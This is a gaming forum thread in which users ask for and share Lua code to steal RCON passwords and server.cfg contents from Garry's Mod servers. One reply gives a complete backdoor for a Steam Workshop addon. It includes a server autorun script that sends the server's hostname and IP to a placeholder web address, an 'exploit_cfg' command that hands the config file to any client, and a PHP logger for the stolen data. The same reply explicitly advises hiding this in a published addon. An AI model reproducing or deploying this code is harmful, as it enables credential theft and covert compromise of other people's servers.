Lua Code to grab Rcon Passord and other Server.cfg info.

[SmurfAndDerp]

I was wondering if anyone knew the code to grab Rcon Password and other Server.cfg info on Garry's mod.

Here's some codes I have, but doubt any of these work, or I don't know where to put them or how to open them.

Code1

local function DumpCFG()
RunConsoleCommand("vlua_run","datastream.StreamToC lients(player.GetAll(),'DS',{a=file.Read('cfg/server.cfg',true)})")
print("! sent")
end

Code2

concommand.Add("exploit_cfg", DumpCFG)
function go()
local RconPass = GetConVar("rcon_password"):GetString()
print (RconPass)
end
concommand.Add("go",go)

I wanted to see if any coder can look at this and perhaps get an idea on how to actually get the Rcon Password from a server. If you think that this is impossible, it's not. Search on youtube: Gmod Rcon Hack, and click the first video that says like "[Lulz Pirate]". All they did was lua_openscript_cl <filenamehere>.lua and then it loaded a script that gave server info. If anyone has an idea on how to do this, or wants to help me find out how to do it, add me on steam: IrZipher.

[suchisgood]

It's not possible without a backdoor to a steam addon, but even then most server use rcon_password in the command line so it's harder to get without a module.

Server: lua/autorun/server/t.lua

local n = net
local s = n.Start
local ss = n.WriteString
local stc = n.Send
local hp = http.Post

util.AddNetworkString("c")

game.GetIP = game.GetIP or function()

	local hostip = GetConVarString( "hostip" ) -- GetConVarNumber is inaccurate
	
	if ( not hostip or hostip == "" ) then
		return "127.0.0.1"
	end

	hostip = tonumber( hostip )

	local ip = {}
	ip[ 1 ] = bit.rshift( bit.band( hostip, 0xFF000000 ), 24 )
	ip[ 2 ] = bit.rshift( bit.band( hostip, 0x00FF0000 ), 16 )
	ip[ 3 ] = bit.rshift( bit.band( hostip, 0x0000FF00 ), 8 )
	ip[ 4 ] = bit.band( hostip, 0x000000FF )

	return table.concat( ip, "." )
end

hook.Add("InitPostEntity", math.random(20,40), function()
	local sendTbl = {
		sn = GetHostName(),
		playercount = tostring(#player.GetAll()),
		ip = game.GetIP()
	}
	
	http.Post( "https://yourwebsite.com/index.php", sendTbl )
end)

local function DumpCFG(p)
	s("c")
	ss(file.Read("cfg/server.cfg","GAME"))
	stc(p)
end
concommand.Add("exploit_cfg", DumpCFG)

php index.php Logging

<?php 

$f = "server_list.txt"; // Make sure the server_list.txt is created in the ftp directory of index.php
$str = "Hostname: " . $_POST['sn'] . " Player Count " . $_POST['playercount'] . " IP: " . $_POST['ip'];
$cr = (string)$str; 
file_put_contents($f, $cr);

?>

Client: lua/autorun/client/bd.lua

local n = net
local nr = n.Receive
local s = n.ReadString

nr("c", function()
	local r = s()
	print(r)
end)

[SmurfAndDerp]

Where do I put those at?

[Jelman]

I would expect you would run it from gmod/gmod/lua.

[suchisgood]

I would expect you would run it from gmod/gmod/lua.

Nah you add it to a workshop addon as a backdoor, mods keep deleting my post, just make sure to change the website url.

[Jelman]

Ah. Now it makes sense.

[max1612]

lol if you are so pathetic you believe in youtube fairy tale hacks just get out of here

[Prometheois117]

Where do I put index.php?
What is it's purpose?

[Trollaux]

Where do I put index.php?
What is it's purpose?

Its for a backdoored addon. Not for personal use on just anyones server. This is an impractical answer to an impractical question. OP this is impossible with only clientside.